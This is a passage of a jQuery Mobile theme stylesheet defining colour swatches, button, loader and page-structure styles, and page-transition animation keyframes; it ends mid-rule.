.ui-bar-inherit { background-color: #e9e9e9 /*{a-bar-background-color}*/; border-color: #ddd /*{a-bar-border}*/; color: #333 /*{a-bar-color}*/; text-shadow: 0 /*{a-bar-shadow-x}*/ 1px /*{a-bar-shadow-y}*/ 0 /*{a-bar-shadow-radius}*/ #eee /*{a-bar-shadow-color}*/; font-weight: bold; } .ui-bar-a { border-width: 1px; border-style: solid; } /* Page and overlay */ .ui-overlay-a, .ui-page-theme-a, .ui-page-theme-a .ui-panel-wrapper { background-color: #f9f9f9 /*{a-page-background-color}*/; border-color: #bbb /*{a-page-border}*/; color: #333 /*{a-page-color}*/; text-shadow: 0 /*{a-page-shadow-x}*/ 1px /*{a-page-shadow-y}*/ 0 /*{a-page-shadow-radius}*/ #f3f3f3 /*{a-page-shadow-color}*/; } /* Body: Read-only lists, text inputs, collapsible content */ .ui-body-a, .ui-page-theme-a .ui-body-inherit, html .ui-bar-a .ui-body-inherit, html .ui-body-a .ui-body-inherit, html body .ui-group-theme-a .ui-body-inherit, html .ui-panel-page-container-a { background-color: #fff /*{a-body-background-color}*/; border-color: #ddd /*{a-body-border}*/; color: #333 /*{a-body-color}*/; text-shadow: 0 /*{a-body-shadow-x}*/ 1px /*{a-body-shadow-y}*/ 0 /*{a-body-shadow-radius}*/ #f3f3f3 /*{a-body-shadow-color}*/; } .ui-body-a { border-width: 1px; border-style: solid; } /* Links */ .ui-page-theme-a a, html .ui-bar-a a, html .ui-body-a a, html body .ui-group-theme-a a { color: #3388cc /*{a-link-color}*/; font-weight: bold; } .ui-page-theme-a a:visited, html .ui-bar-a a:visited, html .ui-body-a a:visited, html body .ui-group-theme-a a:visited { color: #3388cc /*{a-link-visited}*/; } .ui-page-theme-a a:hover, html .ui-bar-a a:hover, html .ui-body-a a:hover, html body .ui-group-theme-a a:hover { color: #005599 /*{a-link-hover}*/; } .ui-page-theme-a a:active, html .ui-bar-a a:active, html .ui-body-a a:active, html body .ui-group-theme-a a:active { color: #005599 /*{a-link-active}*/; } /* Button up */ .ui-page-theme-a .ui-btn, html .ui-bar-a .ui-btn, html .ui-body-a .ui-btn, html body .ui-group-theme-a .ui-btn, html head + body .ui-btn.ui-btn-a, /* Button visited */ .ui-page-theme-a .ui-btn:visited, html .ui-bar-a .ui-btn:visited, html .ui-body-a .ui-btn:visited, html body .ui-group-theme-a .ui-btn:visited, html head + body .ui-btn.ui-btn-a:visited { background-color: #f6f6f6 /*{a-bup-background-color}*/; border-color: #ddd /*{a-bup-border}*/; color: #333 /*{a-bup-color}*/; text-shadow: 0 /*{a-bup-shadow-x}*/ 1px /*{a-bup-shadow-y}*/ 0 /*{a-bup-shadow-radius}*/ #f3f3f3 /*{a-bup-shadow-color}*/; } /* Button hover */ .ui-page-theme-a .ui-btn:hover, html .ui-bar-a .ui-btn:hover, html .ui-body-a .ui-btn:hover, html body .ui-group-theme-a .ui-btn:hover, html head + body .ui-btn.ui-btn-a:hover { background-color: #ededed /*{a-bhover-background-color}*/; border-color: #ddd /*{a-bhover-border}*/; color: #333 /*{a-bhover-color}*/; text-shadow: 0 /*{a-bhover-shadow-x}*/ 1px /*{a-bhover-shadow-y}*/ 0 /*{a-bhover-shadow-radius}*/ #f3f3f3 /*{a-bhover-shadow-color}*/; } /* Button down */ .ui-page-theme-a .ui-btn:active, html .ui-bar-a .ui-btn:active, html .ui-body-a .ui-btn:active, html body .ui-group-theme-a .ui-btn:active, html head + body .ui-btn.ui-btn-a:active { background-color: #e8e8e8 /*{a-bdown-background-color}*/; border-color: #ddd /*{a-bdown-border}*/; color: #333 /*{a-bdown-color}*/; text-shadow: 0 /*{a-bdown-shadow-x}*/ 1px /*{a-bdown-shadow-y}*/ 0 /*{a-bdown-shadow-radius}*/ #f3f3f3 /*{a-bdown-shadow-color}*/; } /* Active button */ .ui-page-theme-a .ui-btn.ui-btn-active, html .ui-bar-a .ui-btn.ui-btn-active, html .ui-body-a .ui-btn.ui-btn-active, html body .ui-group-theme-a .ui-btn.ui-btn-active, html head + body .ui-btn.ui-btn-a.ui-btn-active, /* Active checkbox icon */ .ui-page-theme-a .ui-checkbox-on:after, html .ui-bar-a .ui-checkbox-on:after, html .ui-body-a .ui-checkbox-on:after, html body .ui-group-theme-a .ui-checkbox-on:after, .ui-btn.ui-checkbox-on.ui-btn-a:after, /* Active flipswitch background */ .ui-page-theme-a .ui-flipswitch-active, html .ui-bar-a .ui-flipswitch-active, html .ui-body-a .ui-flipswitch-active, html body .ui-group-theme-a .ui-flipswitch-active, html body .ui-flipswitch.ui-bar-a.ui-flipswitch-active, /* Active slider track */ .ui-page-theme-a .ui-slider-track .ui-btn-active, html .ui-bar-a .ui-slider-track .ui-btn-active, html .ui-body-a .ui-slider-track .ui-btn-active, html body .ui-group-theme-a .ui-slider-track .ui-btn-active, html body div.ui-slider-track.ui-body-a .ui-btn-active { background-color: #3388cc /*{a-active-background-color}*/; border-color: #3388cc /*{a-active-border}*/; color: #fff /*{a-active-color}*/; text-shadow: 0 /*{a-active-shadow-x}*/ 1px /*{a-active-shadow-y}*/ 0 /*{a-active-shadow-radius}*/ #005599 /*{a-active-shadow-color}*/; } /* Active radio button icon */ .ui-page-theme-a .ui-radio-on:after, html .ui-bar-a .ui-radio-on:after, html .ui-body-a .ui-radio-on:after, html body .ui-group-theme-a .ui-radio-on:after, .ui-btn.ui-radio-on.ui-btn-a:after { border-color: #3388cc /*{a-active-background-color}*/; } /* Focus */ .ui-page-theme-a .ui-btn:focus, html .ui-bar-a .ui-btn:focus, html .ui-body-a .ui-btn:focus, html body .ui-group-theme-a .ui-btn:focus, html head + body .ui-btn.ui-btn-a:focus, /* Focus buttons and text inputs with div wrap */ .ui-page-theme-a .ui-focus, html .ui-bar-a .ui-focus, html .ui-body-a .ui-focus, html body .ui-group-theme-a .ui-focus, html head + body .ui-btn-a.ui-focus, html head + body .ui-body-a.ui-focus { -webkit-box-shadow: 0 0 12px #3388cc /*{a-active-background-color}*/; -moz-box-shadow: 0 0 12px #3388cc /*{a-active-background-color}*/; box-shadow: 0 0 12px #3388cc /*{a-active-background-color}*/; } /* B -----------------------------------------------------------------------------------------------------------*/ /* Bar: Toolbars, dividers, slider track */ .ui-bar-b, .ui-page-theme-b .ui-bar-inherit, html .ui-bar-b .ui-bar-inherit, html .ui-body-b .ui-bar-inherit, html body .ui-group-theme-b .ui-bar-inherit { background-color: #1d1d1d /*{b-bar-background-color}*/; border-color: #1b1b1b /*{b-bar-border}*/; color: #fff /*{b-bar-color}*/; text-shadow: 0 /*{b-bar-shadow-x}*/ 1px /*{b-bar-shadow-y}*/ 0 /*{b-bar-shadow-radius}*/ #111 /*{b-bar-shadow-color}*/; font-weight: bold; } .ui-bar-b { border-width: 1px; border-style: solid; } /* Page and overlay */ .ui-overlay-b, .ui-page-theme-b, .ui-page-theme-b .ui-panel-wrapper { background-color: #252525 /*{b-page-background-color}*/; border-color: #454545 /*{b-page-border}*/; color: #fff /*{b-page-color}*/; text-shadow: 0 /*{b-page-shadow-x}*/ 1px /*{b-page-shadow-y}*/ 0 /*{b-page-shadow-radius}*/ #111 /*{b-page-shadow-color}*/; } /* Body: Read-only lists, text inputs, collapsible content */ .ui-body-b, .ui-page-theme-b .ui-body-inherit, html .ui-bar-b .ui-body-inherit, html .ui-body-b .ui-body-inherit, html body .ui-group-theme-b .ui-body-inherit, html .ui-panel-page-container-b { background-color: #2a2a2a /*{b-body-background-color}*/; border-color: #1d1d1d /*{b-body-border}*/; color: #fff /*{b-body-color}*/; text-shadow: 0 /*{b-body-shadow-x}*/ 1px /*{b-body-shadow-y}*/ 0 /*{b-body-shadow-radius}*/ #111 /*{b-body-shadow-color}*/; } .ui-body-b { border-width: 1px; border-style: solid; } /* Links */ .ui-page-theme-b a, html .ui-bar-b a, html .ui-body-b a, html body .ui-group-theme-b a { color: #22aadd /*{b-link-color}*/; font-weight: bold; } .ui-page-theme-b a:visited, html .ui-bar-b a:visited, html .ui-body-b a:visited, html body .ui-group-theme-b a:visited { color: #22aadd /*{b-link-visited}*/; } .ui-page-theme-b a:hover, html .ui-bar-b a:hover, html .ui-body-b a:hover, html body .ui-group-theme-b a:hover { color: #0088bb /*{b-link-hover}*/; } .ui-page-theme-b a:active, html .ui-bar-b a:active, html .ui-body-b a:active, html body .ui-group-theme-b a:active { color: #0088bb /*{b-link-active}*/; } /* Button up */ .ui-page-theme-b .ui-btn, html .ui-bar-b .ui-btn, html .ui-body-b .ui-btn, html body .ui-group-theme-b .ui-btn, html head + body .ui-btn.ui-btn-b, /* Button visited */ .ui-page-theme-b .ui-btn:visited, html .ui-bar-b .ui-btn:visited, html .ui-body-b .ui-btn:visited, html body .ui-group-theme-b .ui-btn:visited, html head + body .ui-btn.ui-btn-b:visited { background-color: #333 /*{b-bup-background-color}*/; border-color: #1f1f1f /*{b-bup-border}*/; color: #fff /*{b-bup-color}*/; text-shadow: 0 /*{b-bup-shadow-x}*/ 1px /*{b-bup-shadow-y}*/ 0 /*{b-bup-shadow-radius}*/ #111 /*{b-bup-shadow-color}*/; } /* Button hover */ .ui-page-theme-b .ui-btn:hover, html .ui-bar-b .ui-btn:hover, html .ui-body-b .ui-btn:hover, html body .ui-group-theme-b .ui-btn:hover, html head + body .ui-btn.ui-btn-b:hover { background-color: #373737 /*{b-bhover-background-color}*/; border-color: #1f1f1f /*{b-bhover-border}*/; color: #fff /*{b-bhover-color}*/; text-shadow: 0 /*{b-bhover-shadow-x}*/ 1px /*{b-bhover-shadow-y}*/ 0 /*{b-bhover-shadow-radius}*/ #111 /*{b-bhover-shadow-color}*/; } /* Button down */ .ui-page-theme-b .ui-btn:active, html .ui-bar-b .ui-btn:active, html .ui-body-b .ui-btn:active, html body .ui-group-theme-b .ui-btn:active, html head + body .ui-btn.ui-btn-b:active { background-color: #404040 /*{b-bdown-background-color}*/; border-color: #1f1f1f /*{b-bdown-border}*/; color: #fff /*{b-bdown-color}*/; text-shadow: 0 /*{b-bdown-shadow-x}*/ 1px /*{b-bdown-shadow-y}*/ 0 /*{b-bdown-shadow-radius}*/ #111 /*{b-bdown-shadow-color}*/; } /* Active button */ .ui-page-theme-b .ui-btn.ui-btn-active, html .ui-bar-b .ui-btn.ui-btn-active, html .ui-body-b .ui-btn.ui-btn-active, html body .ui-group-theme-b .ui-btn.ui-btn-active, html head + body .ui-btn.ui-btn-b.ui-btn-active, /* Active checkbox icon */ .ui-page-theme-b .ui-checkbox-on:after, html .ui-bar-b .ui-checkbox-on:after, html .ui-body-b .ui-checkbox-on:after, html body .ui-group-theme-b .ui-checkbox-on:after, .ui-btn.ui-checkbox-on.ui-btn-b:after, /* Active flipswitch background */ .ui-page-theme-b .ui-flipswitch-active, html .ui-bar-b .ui-flipswitch-active, html .ui-body-b .ui-flipswitch-active, html body .ui-group-theme-b .ui-flipswitch-active, html body .ui-flipswitch.ui-bar-b.ui-flipswitch-active, /* Active slider track */ .ui-page-theme-b .ui-slider-track .ui-btn-active, html .ui-bar-b .ui-slider-track .ui-btn-active, html .ui-body-b .ui-slider-track .ui-btn-active, html body .ui-group-theme-b .ui-slider-track .ui-btn-active, html body div.ui-slider-track.ui-body-b .ui-btn-active { background-color: #22aadd /*{b-active-background-color}*/; border-color: #22aadd /*{b-active-border}*/; color: #fff /*{b-active-color}*/; text-shadow: 0 /*{b-active-shadow-x}*/ 1px /*{b-active-shadow-y}*/ 0 /*{b-active-shadow-radius}*/ #0088bb /*{b-active-shadow-color}*/; } /* Active radio button icon */ .ui-page-theme-b .ui-radio-on:after, html .ui-bar-b .ui-radio-on:after, html .ui-body-b .ui-radio-on:after, html body .ui-group-theme-b .ui-radio-on:after, .ui-btn.ui-radio-on.ui-btn-b:after { border-color: #22aadd /*{b-active-background-color}*/; } /* Focus */ .ui-page-theme-b .ui-btn:focus, html .ui-bar-b .ui-btn:focus, html .ui-body-b .ui-btn:focus, html body .ui-group-theme-b .ui-btn:focus, html head + body .ui-btn.ui-btn-b:focus, /* Focus buttons and text inputs with div wrap */ .ui-page-theme-b .ui-focus, html .ui-bar-b .ui-focus, html .ui-body-b .ui-focus, html body .ui-group-theme-b .ui-focus, html head + body .ui-btn-b.ui-focus, html head + body .ui-body-b.ui-focus { -webkit-box-shadow: 0 0 12px #22aadd /*{b-active-background-color}*/; -moz-box-shadow: 0 0 12px #22aadd /*{b-active-background-color}*/; box-shadow: 0 0 12px #22aadd /*{b-active-background-color}*/; } /* Structure */ /* Disabled -----------------------------------------------------------------------------------------------------------*/ /* Class ui-disabled deprecated in 1.4. :disabled not supported by IE8 so we use [disabled] */ .ui-disabled, .ui-state-disabled, button[disabled], .ui-select .ui-btn.ui-state-disabled { filter: Alpha(Opacity=30); opacity: .3; cursor: default !important; pointer-events: none; } /* Focus state outline -----------------------------------------------------------------------------------------------------------*/ .ui-btn:focus, .ui-btn.ui-focus { outline: 0; } /* Unset box-shadow in browsers that don't do it right */ .ui-noboxshadow .ui-shadow, .ui-noboxshadow .ui-shadow-inset, .ui-noboxshadow .ui-overlay-shadow, .ui-noboxshadow .ui-shadow-icon.ui-btn:after, .ui-noboxshadow .ui-shadow-icon .ui-btn:after, .ui-noboxshadow .ui-focus, .ui-noboxshadow .ui-btn:focus, .ui-noboxshadow input:focus, .ui-noboxshadow .ui-panel { -webkit-box-shadow: none !important; -moz-box-shadow: none !important; box-shadow: none !important; } .ui-noboxshadow .ui-btn:focus, .ui-noboxshadow .ui-focus { outline-width: 1px; outline-style: auto; } /* Some unsets */ .ui-mobile, .ui-mobile body { height: 99.9%; } .ui-mobile fieldset, .ui-page { padding: 0; margin: 0; } .ui-mobile a img, .ui-mobile fieldset { border-width: 0; } /* Fixes for fieldset issues on IE10 and FF (see #6077) */ .ui-mobile fieldset { min-width: 0; } @-moz-document url-prefix() { .ui-mobile fieldset { display: table-column; vertical-align: middle; } } /* Viewport */ .ui-mobile-viewport { margin: 0; overflow-x: visible; -webkit-text-size-adjust: 100%; -ms-text-size-adjust:none; -webkit-tap-highlight-color: rgba(0, 0, 0, 0); } /* Issue #2066 */ body.ui-mobile-viewport, div.ui-mobile-viewport { overflow-x: hidden; } /* "page" containers - full-screen views, one should always be in view post-pageload */ .ui-mobile [data-role=page], .ui-mobile [data-role=dialog], .ui-page { top: 0; left: 0; width: 100%; min-height: 100%; position: absolute; display: none; border: 0; } /* On ios4, setting focus on the page element causes flashing during transitions when there is an outline, so we turn off outlines */ .ui-page { outline: none; } .ui-mobile .ui-page-active { display: block; overflow: visible; overflow-x: hidden; } @media screen and (orientation: portrait) { .ui-mobile .ui-page { min-height: 420px; } } @media screen and (orientation: landscape) { .ui-mobile .ui-page { min-height: 300px; } } /* Fouc */ .ui-mobile-rendering > * { visibility: hidden; } /* Non-js content hiding */ .ui-nojs { position: absolute !important; height: 1px; width: 1px; overflow: hidden; clip: rect(1px,1px,1px,1px); } /* Loading screen */ .ui-loading .ui-loader { display: block; } .ui-loader { display: none; z-index: 9999999; position: fixed; top: 50%; left: 50%; border:0; } .ui-loader-default { background: none; filter: Alpha(Opacity=18); opacity: .18; width: 2.875em; height: 2.875em; margin-left: -1.4375em; margin-top: -1.4375em; } .ui-loader-verbose { width: 12.5em; filter: Alpha(Opacity=88); opacity: .88; box-shadow: 0 1px 1px -1px #fff; height: auto; margin-left: -6.875em; margin-top: -2.6875em; padding: .625em; } .ui-loader-default h1 { font-size: 0; width: 0; height: 0; overflow: hidden; } .ui-loader-verbose h1 { font-size: 1em; margin: 0; text-align: center; } .ui-loader .ui-icon-loading { background-color: #000; display: block; margin: 0; width: 2.75em; height: 2.75em; padding: .0625em; -webkit-border-radius: 2.25em; border-radius: 2.25em; } .ui-loader-verbose .ui-icon-loading { margin: 0 auto .625em; filter: Alpha(Opacity=75); opacity: .75; } .ui-loader-textonly { padding: .9375em; margin-left: -7.1875em; } .ui-loader-textonly .ui-icon-loading { display: none; } .ui-loader-fakefix { position: absolute; } /* Headers, content panels */ .ui-bar, .ui-body { position: relative; padding: .4em 1em; overflow: hidden; display: block; clear: both; } .ui-bar h1, .ui-bar h2, .ui-bar h3, .ui-bar h4, .ui-bar h5, .ui-bar h6 { margin: 0; padding: 0; font-size: 1em; display: inline-block; } .ui-header, .ui-footer { border-width: 1px 0; border-style: solid; position: relative; } .ui-header:empty, .ui-footer:empty { min-height: 2.6875em; } .ui-header .ui-title, .ui-footer .ui-title { font-size: 1em; min-height: 1.1em; text-align: center; display: block; margin: 0 30%; padding: .7em 0; text-overflow: ellipsis; overflow: hidden; white-space: nowrap; outline: 0 !important; } .ui-footer .ui-title { margin: 0 1em; } .ui-content { border-width: 0; overflow: visible; overflow-x: hidden; padding: 1em; } /* Corner styling for dialogs and popups */ .ui-corner-all > .ui-header:first-child, .ui-corner-all > .ui-content:first-child, .ui-corner-all > .ui-footer:first-child { -webkit-border-top-left-radius: inherit; border-top-left-radius: inherit; -webkit-border-top-right-radius: inherit; border-top-right-radius: inherit; } .ui-corner-all > .ui-header:last-child, .ui-corner-all > .ui-content:last-child, .ui-corner-all > .ui-footer:last-child { -webkit-border-bottom-left-radius: inherit; border-bottom-left-radius: inherit; -webkit-border-bottom-right-radius: inherit; border-bottom-right-radius: inherit; } /* Buttons and icons */ .ui-btn { font-size: 16px; margin: .5em 0; padding: .7em 1em; display: block; position: relative; text-align: center; text-overflow: ellipsis; overflow: hidden; white-space: nowrap; cursor: pointer; -webkit-user-select: none; -moz-user-select: none; -ms-user-select: none; user-select: none; } .ui-btn-icon-notext, .ui-header button.ui-btn.ui-btn-icon-notext, .ui-footer button.ui-btn.ui-btn-icon-notext { padding: 0; width: 1.75em; height: 1.75em; text-indent: -9999px; white-space: nowrap !important; } .ui-mini { font-size: 12.5px; } .ui-mini .ui-btn { font-size: inherit; } /* Make buttons in toolbars default to mini and inline. */ .ui-header .ui-btn, .ui-footer .ui-btn { font-size: 12.5px; display: inline-block; vertical-align: middle; } .ui-header .ui-controlgroup .ui-btn-icon-notext, .ui-footer .ui-controlgroup .ui-btn-icon-notext { font-size: 12.5px; } /* To ensure same top and left/right position when ui-btn-left/right are added to something other than buttons. */ .ui-header .ui-btn-left, .ui-header .ui-btn-right { font-size: 12.5px; } .ui-mini.ui-btn-icon-notext, .ui-mini .ui-btn-icon-notext, .ui-header .ui-btn-icon-notext, .ui-footer .ui-btn-icon-notext { font-size: 16px; padding: 0; } .ui-btn-inline { display: inline-block; vertical-align: middle; margin-right: .625em; } .ui-btn-icon-left { padding-left: 2.5em; } .ui-btn-icon-right { padding-right: 2.5em; } .ui-btn-icon-top { padding-top: 2.5em; } .ui-btn-icon-bottom { padding-bottom: 2.5em; } .ui-header .ui-btn-icon-top, .ui-footer .ui-btn-icon-top, .ui-header .ui-btn-icon-bottom, .ui-footer .ui-btn-icon-bottom { padding-left: .3125em; padding-right: .3125em; } .ui-btn-icon-left:after, .ui-btn-icon-right:after, .ui-btn-icon-top:after, .ui-btn-icon-bottom:after, .ui-btn-icon-notext:after { content: ""; position: absolute; display: block; width: 22px; height: 22px; } .ui-btn-icon-notext:after, .ui-btn-icon-left:after, .ui-btn-icon-right:after { top: 50%; margin-top: -11px; } .ui-btn-icon-left:after { left: .5625em; } .ui-btn-icon-right:after { right: .5625em; } .ui-mini.ui-btn-icon-left:after, .ui-mini .ui-btn-icon-left:after, .ui-header .ui-btn-icon-left:after, .ui-footer .ui-btn-icon-left:after { left: .37em; } .ui-mini.ui-btn-icon-right:after, .ui-mini .ui-btn-icon-right:after, .ui-header .ui-btn-icon-right:after, .ui-footer .ui-btn-icon-right:after { right: .37em; } .ui-btn-icon-notext:after, .ui-btn-icon-top:after, .ui-btn-icon-bottom:after { left: 50%; margin-left: -11px; } .ui-btn-icon-top:after { top: .5625em; } .ui-btn-icon-bottom:after { top: auto; bottom: .5625em; } /* Buttons in header position classes */ .ui-header .ui-btn-left, .ui-header .ui-btn-right, .ui-btn-left > [class*="ui-"], .ui-btn-right > [class*="ui-"] { margin: 0; } .ui-btn-left, .ui-btn-right { position: absolute; top: .24em; } .ui-btn-left { left: .4em; } .ui-btn-right { right: .4em; } .ui-btn-icon-notext.ui-btn-left { top: .3125em; left: .3125em; } .ui-btn-icon-notext.ui-btn-right { top: .3125em; right: .3125em; } /* Button elements */ button.ui-btn, .ui-controlgroup-controls button.ui-btn-icon-notext { -webkit-box-sizing: border-box; -moz-box-sizing: border-box; box-sizing: border-box; -webkit-appearance: none; -moz-appearance: none; width: 100%; } button.ui-btn-inline, .ui-header button.ui-btn, .ui-footer button.ui-btn { width: auto; } /* Firefox adds a 1px border in a button element. We negate this to make sure they have the same height as other buttons in controlgroups. */ button.ui-btn::-moz-focus-inner { border: 0; } button.ui-btn-icon-notext, .ui-controlgroup-horizontal .ui-controlgroup-controls button.ui-btn { -webkit-box-sizing: content-box; -moz-box-sizing: content-box; box-sizing: content-box; width: 1.75em; } /* Form labels */ .ui-mobile label, .ui-controlgroup-label { display: block; margin: 0 0 .4em; } /* Accessible content hiding */ /* ui-hide-label deprecated in 1.4. TODO: Remove in 1.5 */ .ui-hide-label > label, .ui-hide-label .ui-controlgroup-label, .ui-hide-label .ui-rangeslider label, .ui-hidden-accessible { position: absolute !important; height: 1px; width: 1px; overflow: hidden; clip: rect(1px,1px,1px,1px); } /* Used for hiding elements by the filterable widget. You can also use this class to hide list items or buttons in controlgroups; this ensures correct corner styling. */ .ui-screen-hidden { display: none !important; } /* Transitions originally inspired by those from jQtouch, nice work, folks */ .ui-mobile-viewport-transitioning, .ui-mobile-viewport-transitioning .ui-page { width: 100%; height: 100%; overflow: hidden; -webkit-box-sizing: border-box; -moz-box-sizing: border-box; box-sizing: border-box; } .ui-page-pre-in { opacity: 0; } .in { -webkit-animation-timing-function: ease-out; -webkit-animation-duration: 350ms; -moz-animation-timing-function: ease-out; -moz-animation-duration: 350ms; animation-timing-function: ease-out; animation-duration: 350ms; } .out { -webkit-animation-timing-function: ease-in; -webkit-animation-duration: 225ms; -moz-animation-timing-function: ease-in; -moz-animation-duration: 225ms; animation-timing-function: ease-in; animation-duration: 225ms; } @-webkit-keyframes fadein { from { opacity: 0; } to { opacity: 1; } } @-moz-keyframes fadein { from { opacity: 0; } to { opacity: 1; } } @keyframes fadein { from { opacity: 0; } to { opacity: 1; } } @-webkit-keyframes fadeout { from { opacity: 1; } to { opacity: 0; } } @-moz-keyframes fadeout { from { opacity: 1; } to { opacity: 0; } } @keyframes fadeout { from { opacity: 1; } to { opacity: 0; } } .fade.out { opacity: 0; -webkit-animation-duration: 125ms; -webkit-animation-name: fadeout; -moz-animation-duration: 125ms; -moz-animation-name: fadeout; animation-duration: 125ms; animation-name: fadeout; } .fade.in { opacity: 1; -webkit-animation-duration: 225ms; -webkit-animation-name: fadein; -moz-animation-duration: 225ms; -moz-animation-name: fadein; animation-duration: 225ms; animation-name: fadein; } .pop { -webkit-transform-origin: 50% 50%; -moz-transform-origin: 50% 50%; transform-origin: 50% 50%; } .pop.in { -webkit-transform: scale(1); -webkit-animation-name: popin; -webkit-animation-duration: 350ms; -moz-transform: scale(1); -moz-animation-name: popin; -moz-animation-duration: 350ms; transform: scale(1); animation-name: popin; animation-duration: 350ms; opacity: 1; } .pop.out { -webkit-animation-name: fadeout; -webkit-animation-duration: 100ms; -moz-animation-name: fadeout; -moz-animation-duration: 100ms; animation-name: fadeout; animation-duration: 100ms; opacity: 0; } .pop.in.reverse { -webkit-animation-name: fadein; -moz-animation-name: fadein; animation-name: fadein; } .pop.out.reverse { -webkit-transform: scale(.8); -webkit-animation-name: popout; -moz-transform: scale(.8); -moz-animation-name: popout; transform: scale(.8); animation-name: popout; } @-webkit-keyframes popin { from { -webkit-transform: scale(.8); opacity: 0; } to { -webkit-transform: scale(1); opacity: 1; } } @-moz-keyframes popin { from { -moz-transform: scale(.8); opacity: 0; } to { -moz-transform: scale(1); opacity: 1; } } @keyframes popin { from { transform: scale(.8); opacity: 0; } to { transform: scale(1); opacity: 1; } } @-webkit-keyframes popout { from { -webkit-transform: scale(1); opacity: 1; } to { -webkit-transform: scale(.8); opacity: 0; } } @-moz-keyframes popout { from { -moz-transform: scale(1); opacity: 1; } to { -moz-transform: scale(.8); opacity: 0; } } @keyframes popout { from { transform: scale(1); opacity: 1; } to { transform: scale(.8); opacity: 0; } } /* keyframes for slidein from sides */ @-webkit-keyframes slideinfromright { from { -webkit-transform: translate3d(100%,0,0); } to { -webkit-transform: translate3d(0,0,0); } } @-moz-keyframes slideinfromright { from { -moz-transform: translateX(100%); } to { -moz-transform: translateX(0); } } @keyframes slideinfromright { from { transform: translateX(100%); } to { transform: translateX(0); } } @-webkit-keyframes slideinfromleft { from { -webkit-transform: translate3d(-100%,0,0); } to { -webkit-transform: translate3d(0,0,0); } } @-moz-keyframes slideinfromleft { from { -moz-transform: translateX(-100%); } to { -moz-transform: translateX(0); } } @keyframes slideinfromleft { from { transform: translateX(-100%); } to { transform: translateX(0); } } /* keyframes for slideout to sides */ @-webkit-keyframes slideouttoleft { from { -webkit-transform: translate3d(0,0,0); } to { -webkit-transform: translate3d(-100%,0,0); } } @-moz-keyframes slideouttoleft { from { -moz-transform: translateX(0); } to { -moz-transform: translateX(-100%); } } @keyframes slideouttoleft { from { transform: translateX(0); } to { transform: translateX(-100%); } } @-webkit-keyframes slideouttoright { from { -webkit-transform: translate3d(0,0,0); } to { -webkit-transform: translate3d(100%,0,0); } } @-moz-keyframes slideouttoright { from { -moz-transform: translateX(0); } to { -moz-transform: translateX(100%); } } @keyframes slideouttoright { from { transform: translateX(0); } to { transform: translateX(100%); } } .slide.out, .slide.in { -webkit-animation-timing-function: ease-out; -webkit-animation-duration: 350ms; -moz-animation-timing-function: ease-out; -moz-animation-duration: 350ms; animation-timing-function: ease-out; animation-duration: 350ms; } .slide.out { -webkit-transform: translate3d(-100%,0,0); -webkit-animation-name: slideouttoleft; -moz-transform: translateX(-100%); -moz-animation-name: slideouttoleft; transform: translateX(-100%); animation-name: slideouttoleft; } .slide.in { -webkit-transform: translate3d(0,0,0); -webkit-animation-name: slideinfromright; -moz-transform: translateX(0); -moz-animation-name: slideinfromright; transform: translateX(0); animation-name: slideinfromright; } .slide.out.reverse { -webkit-transform: translate3d(100%,0,0); -webkit-animation-name: slideouttoright; -moz-transform: translateX(100%); -moz-animation-name: slideouttoright; transform: translateX(100%); animation-name: slideouttoright; } .slide.in.reverse { -webkit-transform: translate3d(0,0,0); -webkit-animation-name: slideinfromleft; -moz-transform: translateX(0); -moz-animation-name: slideinfromleft; transform: translateX(0); animation-name: slideinfromleft; } .slidefade.out { -webkit-transform: translateX(-100%); -webkit-animation-name: slideouttoleft; -webkit-animation-duration: 225ms; -moz-transform: translateX(-100%); -moz-animation-name: slideouttoleft; -moz-animation-duration: 225ms; transform: translateX(-100%); animation-name: slideouttoleft; animation-duration: 225ms; } .slidefade.in { -webkit-transform: translateX(0); -webkit-animation-name: fadein; -webkit-animation-duration: 200ms; -moz-transform: translateX(0); -moz-animation-name: fadein; -moz-animation-duration: 200ms; transform: translateX(0); animation-name: fadein; animation-duration: 200ms; } .slidefade.out.reverse { -webkit-transform: translateX(100%); -webkit-animation-name: slideouttoright; -webkit-animation-duration: 200ms; -moz-transform: translateX(100%); -moz-animation-name: slideouttoright; -moz-animation-duration: 200ms; transform: translateX(100%); animation-name: slideouttoright; animation-duration: 200ms; } .slidefade.in.reverse { -webkit-transform: translateX(0); -webkit-animation-name: fadein; -webkit-animation-duration: 200ms; -moz-transform: translateX(0); -moz-animation-name: fadein; -moz-animation-duration: 200ms; transform: translateX(0); animation-name: fadein; animation-duration: 200ms; } /* slide down */ .slidedown.out { -webkit-animation-name: fadeout; -webkit-animation-duration: 100ms; -moz-animation-name: fadeout; -moz-animation-duration: 100ms; animation-name: fadeout; animation-duration: 100ms; } .slidedown.in { -webkit-transform: translateY(0); -webkit-animation-name: slideinfromtop; -webkit-animation-duration: 250ms; -moz-transform: translateY(0); -moz-animation-name: slideinfromtop; -moz-animation-duration: 250ms; transform: translateY(0); animation-name: slideinfromtop; animation-duration: 250ms; } .slidedown.in.reverse { -webkit-animation-name: fadein; -webkit-animation-duration: 150ms; -moz-animation-name: fadein; -moz-animation-duration: 150ms; animation-name: fadein; animation-duration: 150ms; } .slidedown.out.reverse { -webkit-transform: translateY(-100%); -webkit-animation-name: slideouttotop; -webkit-animation-duration: 200ms; -moz-transform: translateY(-100%); -moz-animation-name: slideouttotop; -moz-animation-duration: 200ms; transform: translateY(-100%); animation-name: slideouttotop; animation-duration: 200ms; } @-webkit-keyframes slideinfromtop { from { -webkit-transform: translateY(-100%); } to { -webkit-transform: translateY(0); } } @-moz-keyframes slideinfromtop { from { -moz-transform: translateY(-100%); } to { -moz-transform: translateY(0); } } @keyframes slideinfromtop { from { transform: translateY(-100%); } to { transform: translateY(0); } } @-webkit-keyframes slideouttotop { from { -webkit-transform: translateY(0); } to { -webkit-transform: translateY(-100%); } } @-moz-keyframes slideouttotop { from { -moz-transform: translateY(0); } to { -moz-transform: translateY(-100%); } } @keyframes slideouttotop { from { transform: translateY(0); } to { transform: translateY(-100%); } } /* slide up */ .slideup.out { -webkit-animation-name: fadeout; -webkit-animation-duration: 100ms; -moz-animation-name: fadeout; -moz-animation-duration: 100ms; animation-name: fadeout; animation-duration: 100ms; } .slideup.in { -webkit-transform: translateY(0); -webkit-animation-name: slideinfrombottom; -webkit-animation-duration: 250ms; -moz-transform: translateY(0); -moz-animation-name: slideinfrombottom; -moz-animation-duration: 250ms; transform: translateY(0); animation-name: slideinfrombottom; animation-duration: 250ms; } .slideup.in.reverse { -webkit-animation-name: fadein; -webkit-animation-duration: 150ms; -moz-animation-name: fadein; -moz-animation-duration: 150ms; animation-name: fadein; animation-duration: 150ms; } .slideup.out.reverse { 